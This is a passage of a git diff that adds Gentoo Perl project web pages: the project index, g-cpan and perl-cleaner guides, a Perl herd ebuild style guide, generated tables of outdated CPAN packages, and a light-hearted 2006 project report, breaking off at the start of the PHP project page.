+                    compile a particular module, for instance a module
+                    depending on database library paths. The best advise for
+                    this is to use the <c>--generate</c> option and modify the
+                    resulting ebuild yourself.
+                </li>
+            </ul>
+        </body>
+    </section>
+</chapter>
+
+
+<chapter>
+<title>Bugs</title>
+<section>
+<body>
+
+<p>
+Please post any bugs to <uri>http://bugs.gentoo.org</uri> or
+<uri>https://bugs.gentoo.org</uri> assigned to
+<mail>perl@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Resources</title>
+<section>
+<body>
+
+<p>
+See also:
+</p>
+
+<ul>
+  <li><uri link="http://www.gentoo.org/doc/en/handbook/hb-portage-diverttree.xml">Diverting
+          from the Official Tree</uri> for working with overlays.</li>
+  <li><uri
+          link="http://www.gentoo.org/proj/en/devrel/handbook/hb-guide-ebuild.xml">Ebuild
+          HOWTO</uri> for working with generated ebuilds.</li>
+
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/perl/index.xml b/xml/htdocs/proj/en/perl/index.xml
new file mode 100644
index 00000000..4846dda0
--- /dev/null
+++ b/xml/htdocs/proj/en/perl/index.xml
@@ -0,0 +1,111 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+<name>Perl</name>
+<longname>The Perl Maintenance Project</longname>
+<date>2010-02-13</date>
+
+<author title="Author">
+  <mail link="mcummings@gentoo.org">Michael Cummings</mail>
+</author>
+<author title="Editor">
+  <mail link="ian@gentoo.org">Christian Hartmann</mail>
+</author>
+
+<description>
+  The Perl Maintenance Project handles all Gentoo-related Perl things.
+</description>
+
+<longdescription>
+
+  <p>
+  	We maintain everything perlish in gentoo.
+  </p>
+
+  <p>
+	<uri link="http://www.perl.org/">Perl.org</uri> 
+  </p>
+
+</longdescription>
+
+<recruitment>
+  <job>
+    <summary>General package maintainer</summary>
+    <details>
+      General perl package maintainer to help out with managing the herd.
+      Revision bumping, bug filing/fixing, stabilizing, updating ebuilds per
+      eclass or syntax changes, etc.
+    </details>
+    <requirements>
+      Experience with Perl on Linux, ideally Gentoo.
+    </requirements>
+    <contact>perl@gentoo.org</contact>
+  </job>
+  <job>
+    <summary>Perl core maintainer</summary>
+    <details>
+      Perl core package maintainer to help out with the core perl packages
+      (dev-lang/perl and sys-devel/libperl). Revision bumping, handling
+      security bugs, patching packages to play nice with Gentoo, following
+      upstream to handle changes and updates in a timely manner.
+    </details>
+    <requirements>
+      Experience with perl on Linux, ideally Gentoo. Knowledge of C and perl.
+      Experience with patching software.
+    </requirements>
+    <contact>perl@gentoo.org</contact>
+  </job>
+<!--
+  <job>
+    <summary>g-cpan maintainer</summary>
+    <details>
+      g-cpan is a tool written in perl. It generates ebuilds and installs perl
+      modules and bundles from CPAN on-the-fly.
+      The sources are in the <uri link="http://sources.gentoo.org/viewcvs.py/gentoo-perl/g-cpan/">g-cpan
+      repository</uri>.
+    </details>
+    <requirements>
+      Experience in perl and packaging perl modules.
+    </requirements>
+    <contact>perl@gentoo.org</contact>
+  </job>
+-->
+</recruitment>
+
+<dev role="member">ian</dev>
+
+<resource link="/proj/en/perl/perl-herd.xml">DRAFT Perl Herd Ebuild guide</resource>
+<resource link="/proj/en/perl/perl-cleaner.xml">DRAFT perl-cleaner guide</resource>
+<resource link="/proj/en/perl/g-cpan.xml">DRAFT g-cpan guide</resource>
+<resource link="/proj/en/perl/outdated-cpan-packages.xml">Outdated CPAN Packages (Ebuild vs CPAN)</resource>
+<resource link="/main/en/lists.xml">[gentoo-perl] Mailing List</resource>
+<resource link="http://news.gmane.org/gmane.linux.gentoo.perl">[gentoo-perl] Mailing List Archives</resource>
+<resource link="irc://irc.freenode.org/#gentoo-perl">#gentoo-perl on irc.freenode.org</resource>
+<resource link="http://git.overlays.gentoo.org/gitweb/?p=proj/perl-overlay.git;a=summary">Perl Overlay aka perl-experimental</resource>
+<resource link="/proj/en/perl/outdated-cpan-packages-perl-experimental.xml">Outdated CPAN Packages in the perl-experimental overlay</resource>
+<!--
+<resource link="http://git.overlays.gentoo.org/gitweb/?p=proj/perl5-packaging.git;a=summary">Perl5 Packaging Overlay</resource>
+-->
+
+<extraproject name="g-cpan" lead="robbat2">
+  Build perl modules that portage keeps track of
+</extraproject>
+
+<extraproject name="perl-cleaner" lead="perl-herd">
+  Clean up those ph files and rebuild all your broken apps after a new perl
+</extraproject>
+
+<extraproject name="up2date-ng" lead="ian">
+  Tool to check for updates on cpan (Ebuild vs CPAN)
+</extraproject>
+
+<extraproject name="perl-info" lead="ian">
+  Tool to gather relevant perl data; 'emerge --info' for perl
+</extraproject>
+
+<herd name="perl"/>
+
+</project>
+<!-- vim: set expandtab ts=2 -->
diff --git a/xml/htdocs/proj/en/perl/outdated-cpan-packages-perl-experimental.xml b/xml/htdocs/proj/en/perl/outdated-cpan-packages-perl-experimental.xml
new file mode 100644
index 00000000..ff27520e
--- /dev/null
+++ b/xml/htdocs/proj/en/perl/outdated-cpan-packages-perl-experimental.xml
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/perl/outdated-cpan-packages-perl-experimental.xml,v 1.280 2010/08/30 06:04:10 tove Exp $ -->
+
+<!-- Do Not Translate !! -->
+<guide link="/proj/en/perl/outdated-cpan-packages-perl-experimental.xml">
+<title>Outdated CPAN Packages (perl-experimental vs CPAN)</title>
+
+<author title="Author">
+  Script generated using up2date-ng version 0.24_pre2
+</author>
+
+<abstract>
+  This document lists the packages suspected as outdated
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2010-08-30</date>
+
+<chapter>
+<title>Intro</title>
+<section>
+<body>
+
+<p>
+This list is not exhaustive and may contain mistakes/errors. Accuracy is only
+guaranteed at 90% and is generated to inform developers about which CPAN
+modules are currently out of date in perl-experimental. Our most frequent bug request is
+for module bumping. This list is intended as acknowledgement (and hopefully
+will curb some of the bugs to boot).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>List of outdated packages</title>
+<section>
+<body>
+
+<table>
+  <tr>
+    <th>Packagename</th>
+    <th>Version in perl-experimental</th>
+    <th>Version on CPAN</th>
+    <th>Diff</th>
+  </tr>
+    <tr>
+    <ti><uri link="http://search.cpan.org/search?query=catalyst::plugin::cache::memcached&amp;mode=all">Catalyst-Plugin-Cache-Memcached</uri></ti>
+    <ti align="right">0.71</ti>
+    <ti align="right"><uri link="http://search.cpan.org/dist/Catalyst-Plugin-Cache-Memcached-0.8/">0.8</uri></ti>
+    <ti><uri link="http://search.cpan.org/diff?from=Catalyst-Plugin-Cache-Memcached-0.71&amp;to=Catalyst-Plugin-Cache-Memcached-0.8&amp;w=1">Diff</uri></ti>
+  </tr>
+  <tr>
+    <ti><uri link="http://search.cpan.org/search?query=cpan::meta&amp;mode=all">CPAN-Meta</uri></ti>
+    <ti align="right">2.102160</ti>
+    <ti align="right"><uri link="http://search.cpan.org/dist/CPAN-Meta-2.102400/">2.102400</uri></ti>
+    <ti><uri link="http://search.cpan.org/diff?from=CPAN-Meta-2.102160&amp;to=CPAN-Meta-2.102400&amp;w=1">Diff</uri></ti>
+  </tr>
+  <tr>
+    <ti><uri link="http://search.cpan.org/search?query=devel::cover&amp;mode=all">Devel-Cover</uri></ti>
+    <ti align="right">0.68</ti>
+    <ti align="right"><uri link="http://search.cpan.org/dist/Devel-Cover-0.70/">0.70</uri></ti>
+    <ti><uri link="http://search.cpan.org/diff?from=Devel-Cover-0.68&amp;to=Devel-Cover-0.70&amp;w=1">Diff</uri></ti>
+  </tr>
+  <tr>
+    <ti><uri link="http://search.cpan.org/search?query=html::template::pro&amp;mode=all">HTML-Template-Pro</uri></ti>
+    <ti align="right">0.9502</ti>
+    <ti align="right"><uri link="http://search.cpan.org/dist/HTML-Template-Pro-0.9503/">0.9503</uri></ti>
+    <ti><uri link="http://search.cpan.org/diff?from=HTML-Template-Pro-0.9502&amp;to=HTML-Template-Pro-0.9503&amp;w=1">Diff</uri></ti>
+  </tr>
+  <tr>
+    <ti><uri link="http://search.cpan.org/search?query=padre::plugin::autoformat&amp;mode=all">Padre-Plugin-Autoformat</uri></ti>
+    <ti align="right">1.12</ti>
+    <ti align="right"><uri link="http://search.cpan.org/dist/Padre-Plugin-Autoformat-1.20/">1.20</uri></ti>
+    <ti><uri link="http://search.cpan.org/diff?from=Padre-Plugin-Autoformat-1.12&amp;to=Padre-Plugin-Autoformat-1.20&amp;w=1">Diff</uri></ti>
+  </tr>
+  <tr>
+    <ti><uri link="http://search.cpan.org/search?query=plack&amp;mode=all">Plack</uri></ti>
+    <ti align="right">0.9945</ti>
+    <ti align="right"><uri link="http://search.cpan.org/dist/Plack-0.9946/">0.9946</uri></ti>
+    <ti><uri link="http://search.cpan.org/diff?from=Plack-0.9945&amp;to=Plack-0.9946&amp;w=1">Diff</uri></ti>
+  </tr>
+</table>
+
+<p>
+Total packages suspected as outdated: 6 of 606
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/perl/outdated-cpan-packages.xml b/xml/htdocs/proj/en/perl/outdated-cpan-packages.xml
new file mode 100644
index 00000000..78eacc01
--- /dev/null
+++ b/xml/htdocs/proj/en/perl/outdated-cpan-packages.xml
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/perl/outdated-cpan-packages.xml,v 1.2311 2010/08/30 09:52:28 robbat2 Exp $ -->
+
+<!-- Do Not Translate !! -->
+<guide link="/proj/en/perl/outdated-cpan-packages.xml">
+<title>Outdated CPAN Packages (Ebuild vs CPAN)</title>
+
+<author title="Author">
+  Script generated using up2date-ng version 0.24
+</author>
+
+<abstract>
+  This document lists the packages suspected as outdated
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2010-08-30</date>
+
+<chapter>
+<title>Intro</title>
+<section>
+<body>
+
+<p>
+This list is not exhaustive and may contain mistakes/errors. Accuracy is only
+guaranteed at 90% and is generated to inform developers about which CPAN
+modules are currently out of date in portage. Our most frequent bug request is
+for module bumping. This list is intended as acknowledgement (and hopefully
+will curb some of the bugs to boot).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>List of outdated packages</title>
+<section>
+<body>
+
+<table>
+  <tr>
+    <th>Packagename</th>
+    <th>Version in portage</th>
+    <th>Version on CPAN</th>
+  </tr>
+    <tr>
+    <ti><uri link="http://search.cpan.org/search?query=cache::memcached::fast&amp;mode=all">Cache-Memcached-Fast</uri></ti>
+    <ti align="right">0.17</ti>
+    <ti align="right">0.19</ti>
+  </tr>
+  <tr>
+    <ti><uri link="http://search.cpan.org/search?query=imagesize&amp;mode=all">ImageSize</uri></ti>
+    <ti align="right">3.221</ti>
+    <ti align="right">3.230</ti>
+  </tr>
+  <tr>
+    <ti><uri link="http://search.cpan.org/search?query=perl::critic&amp;mode=all">Perl-Critic</uri></ti>
+    <ti align="right">1.108</ti>
+    <ti align="right">1.109</ti>
+  </tr>
+  <tr>
+    <ti><uri link="http://search.cpan.org/search?query=safe::hole&amp;mode=all">Safe-Hole</uri></ti>
+    <ti align="right">0.10</ti>
+    <ti align="right">0.13</ti>
+  </tr>
+  <tr>
+    <ti><uri link="http://search.cpan.org/search?query=speech::recognizer::spx&amp;mode=all">Speech-Recognizer-SPX</uri></ti>
+    <ti align="right">0.0801</ti>
+    <ti align="right">0.09</ti>
+  </tr>
+  <tr>
+    <ti><uri link="http://search.cpan.org/search?query=template::latex&amp;mode=all">Template-Latex</uri></ti>
+    <ti align="right">2.17</ti>
+    <ti align="right">3.02</ti>
+  </tr>
+</table>
+
+<p>
+Total packages suspected as outdated: 6 of 1046
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/perl/perl-cleaner.xml b/xml/htdocs/proj/en/perl/perl-cleaner.xml
new file mode 100644
index 00000000..b19ae13f
--- /dev/null
+++ b/xml/htdocs/proj/en/perl/perl-cleaner.xml
@@ -0,0 +1,147 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/perl/perl-cleaner.xml,v 1.3 2006/07/21 16:34:25 mcummings Exp $ -->
+
+<!-- Do Not Translate !! -->
+<guide link="/proj/en/perl/perl-cleaner.xml">
+<title>perl-cleaner Guide</title>
+
+<author title="Author">
+  <mail link="mcummings@gentoo.org">Michael Cummings</mail>
+</author>
+<author title="Author">
+  <mail link="ian@gentoo.org">Christian Hartmann</mail>
+</author>
+<author title="Contributor">
+  <mail link="mr_bones_@gentoo.org">Michael Sterrett</mail>
+</author>
+<author title="Contributer">
+  <mail link="swtaylor@gentoo.org">Scott W Taylor</mail>
+</author>
+
+<abstract>
+This document describes the functions of perl-cleaner
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-04-12</date>
+
+<chapter>
+<title>Intro</title>
+<section>
+<body>
+
+<p>
+<c>perl-cleaner</c> is a tool that cleans up old perl installations, attempting
+to <path>emerge --oneshot</path> packages left over from a perl upgrade, as
+well as any packages that linked against the old version of
+<path>libperl.so</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Usage</title>
+<section>
+<body>
+
+<p>
+See the table below for possible options to pass to <c>perl-cleaner</c>.
+</p>
+
+<pre caption="Usage of perl-cleaner">
+<comment>perl-cleaner needs at least one parameter from the list below. The "ask" parameter is optional.</comment>
+# perl-cleaner &lt;OPTIONS&gt; (ask)
+</pre>
+
+<table>
+  <tr>
+    <th>Option</th>
+    <th>Description</th>
+  </tr>
+  <tr>
+    <ti>modules</ti>
+    <ti>rebuild perl modules for old installs of perl</ti>
+  </tr>
+  <tr>
+    <ti>allmodules</ti>
+    <ti>rebuild perl modules for any install of perl</ti>
+  </tr>
+  <tr>
+    <ti>libperl</ti>
+    <ti>rebuild anything linked against libperl</ti>
+  </tr>
+  <tr>
+    <ti>ph-clean</ti>
+    <ti>clean out old ph files from a previous perl</ti>
+  </tr>
+  <tr>
+    <ti>phupdate</ti>
+    <ti>update existing ph files, useful after an upgrade to system parts like
+    the kernel</ti>
+  </tr>
+  <tr>
+    <ti>phall</ti>
+    <ti>clean out old ph files and run phupdate</ti>
+  </tr>
+  <tr>
+    <ti>all</ti>
+    <ti>rebuild modules, libperl linkages, clean ph files, and rebuild them,
+        excluding your current perl version.</ti>
+  </tr>
+  <tr>
+    <ti>reallyall</ti>
+    <ti>rebuild modules for any install of perl, libperl linkages, clean ph
+    files, and rebuild them. This option does not exclude your current perl
+    version.</ti>
+  </tr>
+</table>
+
+<note>
+Adding the parameter <c>ask</c> to the parameterlist of perl-cleaner will
+make perl-cleaner pass the <path>--ask</path> option to emerge commands so
+that you will be asked by portage before taking any actions.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Bugs</title>
+<section>
+<body>
+
+<p>
+Please post any bugs to <uri>http://bugs.gentoo.org</uri> or
+<uri>https://bugs.gentoo.org</uri> assigned to
+<mail>perl@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Resources</title>
+<section>
+<body>
+
+<p>
+See also:
+</p>
+
+<ul>
+  <li><uri link="http://www.gentoo.org/doc/en/gentoolkit.xml#doc_chap4">revdep-rebuild</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/perl/perl-herd.xml b/xml/htdocs/proj/en/perl/perl-herd.xml
new file mode 100644
index 00000000..073bb016
--- /dev/null
+++ b/xml/htdocs/proj/en/perl/perl-herd.xml
@@ -0,0 +1,236 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/perl/perl-herd.xml,v 1.4 2007/03/12 12:56:09 mcummings Exp $ -->
+
+<!-- Do Not Translate !! -->
+<guide link="/proj/en/perl/perl-herd.xml">
+<title>Gentoo Perl Herd Guide</title>
+
+<author title="Author">
+  <mail link="mcummings@gentoo.org">Michael Cummings</mail>
+</author>
+<author title="Editor">
+  <mail link="ian@gentoo.org">Christian Hartmann</mail>
+</author>
+
+<abstract>
+In which Gentoo devs attempt to explain the mechanics of the perl herd...
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-04-11</date>
+
+<chapter>
+<title>Intro</title>
+<section id="Preliminaries">
+<title>Preliminaries</title>
+<body>
+
+<p>
+This document assumes a base understanding of general ebuild structure and
+techniques. For more information, please see the following link.
+</p>
+<note>
+	<uri link="http://www.gentoo.org/proj/en/devrel/handbook/hb-guide-ebuild.xml">Ebuild HOWTO</uri>
+</note>
+
+<p>
+This document is intended to highlight those places where the perl-module
+ebuild differs from the average ebuild, what special variables are available,
+and what the preferred structure/style should be.
+</p>
+<note>
+	If you are reading this guide because you want to submit ebuilds on bugzilla, please read this first:
+	<uri link="http://www.gentoo.org/proj/en/devrel/handbook/hb-policy-ebuild.xml">Perl in the POLICY</uri>	
+</note>
+
+</body>
+</section>
+<section id="Ebuild Structure">
+<title>Ebuild Structure</title>
+<body>
+
+<p>
+The average perl module ebuild follows a stock structure, relying heavily on
+its parent eclass, <path>perl-module.eclass</path>. The first active line of a
+perl-module ebuild, then is:
+</p>
+<pre caption="">
+inherit perl-module
+</pre>
+<p>
+The perl-module eclass should be used for the building of any perl modules
+(code that installs to <path>/usr/$(get_libdir)/perl5</path> ). There is a
+separate eclass for applications that need use of the perl eclass functions,
+but that may not need the whole plethora. At the time of this writing the
+differences between the two eclasses are minimal.
+</p>
+<p>
+This inclusion of the perl-* eclass takes care of many of the actions 
+handled in an ebuild, such as whether to use <path>Makemaker.PL</path> or
+<path>Build.PL</path>, pre-compile steps, documentation, etc. Some ebuilds
+in the portage tree do little more than inherit this eclass and define a few
+necessary items, such as HOMEPAGE, LICENSE, KEYWORDS, and SRC_URI.
+</p>
+<note>By default, the perl-module eclass will now default to using Makefile.PL's
+and only resorting to using the Build.PL if necessary. This follows an active
+discussion the p5p mailing list in which it was highlighted that this is the 
+preferred course by the authors of Module::Build</note>
+<p>
+In regards to SRC_URI, there is one note to keep in mind. If the source of the
+module/code is located on the Comprehensive Perl Archive Network (CPAN),
+please use the source of <path>mirror://cpan/</path>, which is actually
+translated as <path>http://some.cpan.mirror/CPAN</path>. The reason for this
+is that although CPAN's multiplexer is good at locating a mirror closest to you,
+it isn't perfect. By using the thirdparty mirror
+(<path>$PORTDIR/profiles/thirdpartymirrors</path>), we allow Gentoo users to
+substitute their preferred mirror location.
+</p>
+<p>
+There is one variable unique to those ebuilds that inherit the perl-module
+eclass, SRC_TEST. More detail will begin further in this document in regards
+to perl testing, but it is this variable that will determine whether or not a
+<path>'make test'</path> will be performed. If SRC_TEST is set to <e>do</e>,
+the test block within the perl-module eclass will be considered. A user must
+still have test enabled in their features (<path>/etc/make.conf</path>) for
+these tests to be performed, however.
+</p>
+</body>
+</section>
+<section id="Testing">
+<title>Testing</title>
+<body>
+<p>
+This discussion of the SRC_TEST variable brings us to the topic of testing in
+perl modules. The activation of this feature is dependant on many factors. The
+short of it is, not all perl module tests are created equally. Some factors to
+consider when deciding to activate tests are:
+</p>
+<ul>
+	<li>
+	 Does the test even work? Write efficient perl module tests isn't always
+an task, even for the author of the module. As anyone with multiple architectures
+can attest to, what works on what computer doesn't necessarily work on
+another. Non-working test suites do exist, and when encountered other steps
+should be taken to test the functionality of the module. Examples from pods,
+while still subject to typos, are generally good ways to test that a module is
+functioning. 
+	</li>
+	<li>
+	 What are the tests attempting to accomplish? Even if the tests work, it
+may not be wise to enable them. If it's a database module, is it relying on a
+running, local database to talk to in order to determine test success? If it's
+a network related module, is it attempting to do anything on the network that
+might raise a sysadmin's (or firewall's) hackles? Last year (2004), a CPAN
+author had to retract the tests he included in a module because of security
+concerns - his test suite would download remote code and attempt to execute.
+In the context of the module, that made sense, but from a security
+perspective, it was less than advisable.
+	</li>
+	<li>
+	 Do the tests depend on something more than a headless console? Many of
+the graphical widget and X related modules have detailed test suites to make sure
+their created items will interact appropriately. Unfortunately, they rely on
+an active X display and the interaction of the user. In the non-interactive
+world of Gentoo testing and installation, however, this is a problem. Again,
+these are good tests to use during initial testing of the ebuild, but are not
+appropriate for the masses.
+	</li>
+	<li>
+	 Do the tests introduce their own set of dependencies? Currently,
+Gentoo does not support dependencies specifically for testing purposes.
+Unfortunately, module authors don't have the same perspective. A fair number
+of modules utilize specialized testing module suites for their own tests, but
+don't need those modules either for building or for use on the live system.
+Over time, some of these extraneous modules have made their way into the tree,
+and there is the potential one day for a perl test suite of modules to be
+bundled into portage. At this time however, including these testing modules
+as dependencies can be costly to user disk and cycle times.
+	</li>
+</ul>
+</body>
+</section>
+
+<section id="Dependencies">
+<title>Dependencies</title>
+<body>
+<p>
+Tracking dependencies, both on new and existing module ebuilds, is perhaps the
+most time consuming aspect of adding a new module. There are three initial
+files to check for expressed dependencies. One should not rely on the warning
+output of a <path>perl Makefile.PL</path> to determine dependencies - this
+output only displays missing dependencies in your own installation and is not
+comprehensive of what dependencies are needed.
+</p>
+<p>
+First, reading through the <path>Makefile.PL</path> in your favorite editor
+should give a fair amount of information on what, if any, dependencies are
+declared. Both the PREREQUISITE block, as well as any leading logic that
+determines what is placed in the PREREQ block, will give an indication of
+expected dependencies.
+</p>
+<p>
+If present, the <path>META.YML</path> file can contain a break down of build
+and run time dependencies. Additionaly, if present, the <path>Build.PL</path>
+file will also indicate any dependencies for the module's building.
+</p>
+<p>
+Unfortunately, this isn't always enough, though generally speaking it is a
+fair indication. You may also need to recursively grep for <b>use</b> and
+<b>require</b> statements to make sure that the author hasn't forgotten to
+list anything. Generally, this last step isn't necessary, but it is important
+to keep in mind, especially when dealing with new packages. This last step
+will also help if there is any question on DEPEND versus RDEPEND information.
+</p>
+<warn>BEWARE THE TANGLED PATH OF A NEW MODULE AND IT'S DEPENDENCIES.</warn>
+<p>
+Adding a single new module to the tree (either to fill a dependency or for its
+own sake) can lead to adding a dozen supporting modules before you are done.
+Though adding to the bulk of dev-perl isn't a goal, this is an understood
+risk. One should also take note of updating an existing ebuild module, though
+- sometimes dependencies for a module change over time, and they need to be
+checked rather than merely relying on the existing ebuild.
+</p>
+<note>
+Be sure to keep an eye out for module dependencies that are already fulfilled
+by having perl simply installed - and which perl they might have come with. If
+a <path>Makefile.PL</path> lists <path>Test::More => 0</path> as a dependency,
+then there is no point in putting this into DEPEND since this was satisfied by
+having a working perl. But if they depend on <path>Test::More => 0.62</path>,
+you will need to check the virtuals directory.
+</note>
+</body>
+</section>
+
+<section id="ExtUtils-MakeMaker">
+<title>ExtUtils-MakeMaker</title>
+<body>
+<p>
+perl-core/ExtUtils-MakeMaker should never be added as a dependancy to an ebuild 
+unless you are working on a package that <b>requires</b> a version greater than 
+the one provided by the currently stable dev-lang/perl package. It's existance in the
+tree at this point is solely to provide a bridge for those users that haven't upgraded
+their perl's in quite some time, but continue to use the dev-perl/perl-core portions
+of portage.
+</p>
+</body>
+</section>
+
+<section id="Versioning">
+	 <title>Version numbers in Gentoo perl ebuilds</title>
+	 <body>
+		  <p>
+				Versioning on CPAN and versioning in the portage tree do not always align. Because a CPAN module's versioning scheme changes from author to author (and module's change hands over time), there are no consistant rules for how module's receive their version numbers. Portage, however, requires versions to follow a consistent format. Because of this, the perl team has had to employ version number minging on certain packages to compensate for the disparity, so that Gentoo's users always receive the latest version for their KEYWORDs. For example, dev-perl/module-build released version 0.28. Shortly afterwards, 0.2801-6 were released. If we had maintained these version numbers, portage would never recognize 0.29 as the successor, because in portage math (where each decimal is a number seperator, not an indication of decimal math), 29  is less than 2801. As such, the minor released of Module::Build were renamed as 0.28.05, 0.28.06, etc.
+		  </p>
+				<note>
+					 "inherit versionator" and "delete_version_serarator" are your best ally in these situations. 
+				</note>
+
+	 </body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/perl/report-fy06/bugs.jpg b/xml/htdocs/proj/en/perl/report-fy06/bugs.jpg
new file mode 100644
index 00000000..43f4ef0d
--- /dev/null
+++ b/xml/htdocs/proj/en/perl/report-fy06/bugs.jpg
diff --git a/xml/htdocs/proj/en/perl/report-fy06/growth.jpg b/xml/htdocs/proj/en/perl/report-fy06/growth.jpg
new file mode 100644
index 00000000..2001ef03
--- /dev/null
+++ b/xml/htdocs/proj/en/perl/report-fy06/growth.jpg
diff --git a/xml/htdocs/proj/en/perl/report-fy06/ian.jpg b/xml/htdocs/proj/en/perl/report-fy06/ian.jpg
new file mode 100644
index 00000000..79147617
--- /dev/null
+++ b/xml/htdocs/proj/en/perl/report-fy06/ian.jpg
diff --git a/xml/htdocs/proj/en/perl/report-fy06/index.html b/xml/htdocs/proj/en/perl/report-fy06/index.html
new file mode 100644
index 00000000..d8a7bf13
--- /dev/null
+++ b/xml/htdocs/proj/en/perl/report-fy06/index.html
@@ -0,0 +1,54 @@
+<html>
+<head>
+<title>The Perl Maintenance Project: State of the Perl Cow 2006</title>
+</head>
+        <body bgcolor="#FFFFFF">
+
+        The Perl Maintenance Project: State of the Perl Cow 2006, inspired by
+        the <a href="http://www.perl.com/pub/a/2006/09/21/onion.html">State of the Onion 10</a> (but not as cool).
+
+<P>
+
+This year we here in the perl project have seen a lot of
+<br>
+<ul><img border="1" hspace="5" vspace="5" alt="growth" align="middle" src="growth.jpg"></ul>
+<br>
+First we, had 
+<br>
+<ul><img border="1" hspace="5" vspace="5" alt="+$ian" align="middle" src="ian.jpg"></ul>
+<br>
+followed quickly by
+<br>
+<ul><img border="1" hspace="5" vspace="5" alt="+$yuval" align="middle" src="yuval.jpg"></ul>
+<br>
+As if that was not enough for us, our lurker cab decided to take the deep plunge.
+<br>
+More recently, my wife and I added
+<br>
+<ul><img border="0" hspace="5" vspace="5" alt="+$tara" align="middle" src="tara.jpg"></ul>
+<br>
+but that probably doesn't count in this context.
+<P>
+esammer and beu showed their heads up this year, and we expect them to be
+active members again (if they are by the time I post this, well, that tells
+you how long it takes me to post things, doesn't it?)
+</p>
+<P>
+So what have we accomplished? There's the release of g-cpan, which brought
+more order to the world - and more bugs.
+<br>
+<ul><img border="0" hspace="5" vspace="5" align="middle" src="bugs.jpg"></ul>
+<br>
+No, not those, the other kind, coding bugs.
+<P>
+Speaking of bugs, we closed <a
+href="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&short_desc_type=allwordssubstr&short_desc=&long_desc_type=allwordssubstr&long_desc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&status_whiteboard_type=allwordssubstr&status_whiteboard=&keywords_type=allwords&keywords=&bug_status=RESOLVED&bug_status=VERIFIED&bug_status=CLOSED&emailassigned_to1=1&emailtype1=exact&email1=perl%40gentoo.org&emailassigned_to2=1&emailtype2=notregexp&email2=mcummings%40gentoo.org&bugidtype=include&bug_id=&chfieldfrom=2005-10-01&chfieldto=2006-09-30&chfieldvalue=&cmdtype=doit&order=Reuse+same+sort+as+last+time&field0-0-0=noop&type0-0-0=noop&value0-0-0=">377 bugs</a> since last September (fiscal year)(if you're government anyway), which given our frequent real lives isn't too shabby.
+</P>
+<P>
+This begs the question: where to next? Well, ian's been working on exporting the perl module portions of g-cpan and other custom apps into an actual Gentoo perl package. I'd like to see g-cpan get on a regular release schedule.  
+</p>
+<p>I think we need to start focussing efforts on requesting stable requests more than we do, because right now only ~arch users and those that "bug" us get things marked on their platforms. (unless I'm in a sparc/amd64 marking spree)</p>
+<p>Beyond that, it's hard to say where we're headed. As a project, our goal has always been the maintenance and viability of the perl code that Gentoo offers. For now, that sums it all up.</p>
+
+</body>
+
diff --git a/xml/htdocs/proj/en/perl/report-fy06/tara.jpg b/xml/htdocs/proj/en/perl/report-fy06/tara.jpg
new file mode 100644
index 00000000..b4807560
--- /dev/null
+++ b/xml/htdocs/proj/en/perl/report-fy06/tara.jpg
diff --git a/xml/htdocs/proj/en/perl/report-fy06/yuval.jpg b/xml/htdocs/proj/en/perl/report-fy06/yuval.jpg
new file mode 100644
index 00000000..21407f4c
--- /dev/null
+++ b/xml/htdocs/proj/en/perl/report-fy06/yuval.jpg
diff --git a/xml/htdocs/proj/en/php/index.xml b/xml/htdocs/proj/en/php/index.xml
new file mode 100644
index 00000000..b8dd269a
--- /dev/null
+++ b/xml/htdocs/proj/en/php/index.xml
@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>PHP</name>
+<longname>Gentoo PHP Team</longname>
+<date>2007-12-02</date>
+
+<description>
+The Gentoo PHP Team is responsible for delivering high-quality support for
